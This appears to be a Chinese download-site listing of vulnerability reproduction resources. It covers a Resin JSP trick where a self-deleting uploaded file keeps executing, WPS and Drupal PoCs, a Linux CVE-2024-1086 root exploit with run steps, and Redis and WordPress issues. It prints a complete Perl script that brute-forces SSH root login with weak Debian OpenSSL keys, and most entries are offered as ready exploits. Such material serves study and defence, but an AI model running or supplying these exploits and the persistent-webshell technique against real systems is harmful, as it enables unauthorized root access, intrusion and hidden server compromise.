标题中的“从一次某微OA的漏洞复现,聊聊Resin的这个特性1”指的是一个关于Resin服务器在处理文件上传漏洞时表现出的一个特殊行为。描述中提到的问题是,在一个名为“某微OA”的应用程序中,当用户上传了一个包含自删除逻辑的JSP文件后,虽然文件在服务器上被删除,但仍然可以被成功访问。这暴露出Resin服务器的一个潜在安全问题。 Resin是一个开源的Java应用服务器,主要用于部署和运行Java Web应用程序。在这个场景中,Resin在处理JSP文件时,不是直接执行原始的JSP文件,而是将其编译成Java类(字节码)并存储在特定的目录下,如`ecology/WEB-INF/work_jsp_formmode_apps_upload_ktree_images`。即使原始的JSP文件被删除,已经编译的Java类仍然存在于服务器上,导致即使文件不存在,Web应用仍然可以执行其代码。 具体到这个问题,上传的JSP文件内容包含了删除自身文件的代码: ```jsp <%out.println(111111);new java.io.File(application.getRealPath(request.getServletPath())).delete();%> ``` 这段代码首先输出"111111",然后尝试删除通过`request.getServletPath()`获取的文件路径。在正常情况下,这应该会导致文件不可访问。然而,由于Resin的工作机制,编译后的Java类仍然保留,使得请求仍然能够被执行。 原理分析部分揭示了Resin如何处理JSP文件。它创建了一个名为`_16266800368271276377871__jsp`的Java类,并在服务请求时调用`_jspService`方法来执行JSP的逻辑。即使原始的JSP文件已经不存在,这个生成的Java类仍然会响应后续的请求。 这个特性可能导致的安全隐患在于,攻击者可能利用这个机制来上传恶意的JSP文件,即使文件被删除,其编译后的版本仍然可执行,从而对系统造成潜在威胁。例如,攻击者可能上传包含SQL注入或命令执行代码的JSP文件,导致数据泄露或者服务器被控制。 对于测试人员和开发人员来说,理解这种特性是非常重要的,因为它可以帮助识别和修复这类安全漏洞。在设计文件上传功能时,应当对上传的文件类型进行严格的限制和检查,防止非法的JSP或其他可执行文件被上传。同时,应确保在删除文件时,不仅移除源文件,还要清理编译后的类文件。对于Resin服务器,可能需要配置适当的策略来阻止未授权的JSP执行。 这个案例揭示了Resin服务器处理JSP文件的一个特性,同时也提醒我们在开发和测试Web应用时,必须充分考虑文件上传的安全性,防止此类漏洞的发生。
2026-01-15 20:28:06 739KB java javascript
1
金山WPS是一款办公软件套件,类似于Microsoft Office,用于创建、编辑和分享文档。它支持多种文件格式,包括Word、Excel、PowerPoint等,并提供了丰富的功能和工具,方便用户进行文档处理、表格制作和演示文稿设计等操作。 攻击者可能会利用WPS中的漏洞,通过远程代码执行的方式在受害者的计算机上执行恶意代码。这意味着攻击者可以在受害者的计算机上安装恶意软件、窃取个人信息或进行其他恶意活动。 金山WPS远程代码执行是一种严重的安全威胁,需要采取措施来防范和应对。用户应该保持WPS软件的更新,并定期检查安全补丁和漏洞修复程序。同时,用户还应该加强网络安全意识,不随意打开未知来源的链接或文件,避免点击恶意广告或下载恶WPS For Windows 部分版本存在远程代码执行漏洞,攻击者可利用该漏洞在受害者目标主机上执行任意代码,控制主机等。 影响版本:WPS Office 2023 个人版 低于12.1.0.15120(含) WPS Office机构版本(如专业版、专业增强版) 低于11.8.2.12055(含) 注:里面包含存在漏洞的应用和poc文件。漏洞说明
2024-07-01 10:55:07 225.44MB 网络安全
1
Linux 内核CVE-2024-1086漏洞复现脚本。 在普通用户下,将文件上传后,chmod 777 exploit ,然后运行 ./exploit ,提权成功,输入id,可看到已经是root权限 。
2024-06-13 15:30:22 165KB linux
1
这里实现这个漏洞的复现。大家可以参考参考,这是老师要做的一个题目。
2023-05-02 20:39:44 2.42MB 漏洞复现
1
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。文章目录一.ph
2023-03-30 14:20:57 2.23MB 网络安全 安全 软件/插件 sql
1
[ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341)_POC 此POC是我用于vulhub复现的,可以先看我文章再下载
1
redis未授权漏洞vulhub靶场复现
2023-02-11 18:02:27 498KB redis 漏洞复现 安全漏洞
1
CVE-2017-1002008 WordPress Plugin 允许通过参数调用文件下载漏洞复现 。包中有漏洞复现所需软件安装包和poc;python脚本
2023-01-03 11:00:31 154.79MB CVE-2017-1002008 WordPressPlugin poc python脚本
1
Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit 解开Debian OpenSSL内的ssh钥匙只有65.536可能性,导致唯一的熵是引起钥匙的过程的Pid. 这导致以下perl脚本程序可以使用与暴力的预先计算好的ssh钥匙。如果钥匙在一个非被修补的debian或其他系统指南被安装配置,它就会运作。 在一个未修补的系统中,不需要Debian,做以下工作: keys provided by HD Moore - http://metasploit.com/users/hdm/tools/debian-openssl/ 1. Download http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2 http://milw0rm.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 2. 提取它对应目录 3. 输入/root/.ssh/authorized_keys与2048位的SSH RSA钥匙,引起在Upatched Debian (这是这盘剥将增殖比的钥匙 eak) 4. 运行perl脚本程序并且给它提取bzip2的位置. CODE: #!/usr/bin/perl my $keysPerConnect = 6; unless ($ARGV[1]) { print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n"; print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n"; print "By hack01[at]live[dot]cn\n"; exit 0; } chdir($ARGV[0]); opendir(A, $ARGV[0]) || die("opendir"); while ($_ = readdir(A)) { chomp; next unless m,^\d+$,; push(@a, $_); if (scalar(@a) > $keysPerConnect) { system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]); @a = (); } } 5. 在几分钟(少于20分钟)以后享受胜利结果吧!
2022-12-05 15:02:46 47.9MB 漏洞复现
1
CVE-2020-13945检测脚本 给出脚本,可自查是否存在漏洞 APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,攻击者利用默认的管理员Token访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行
1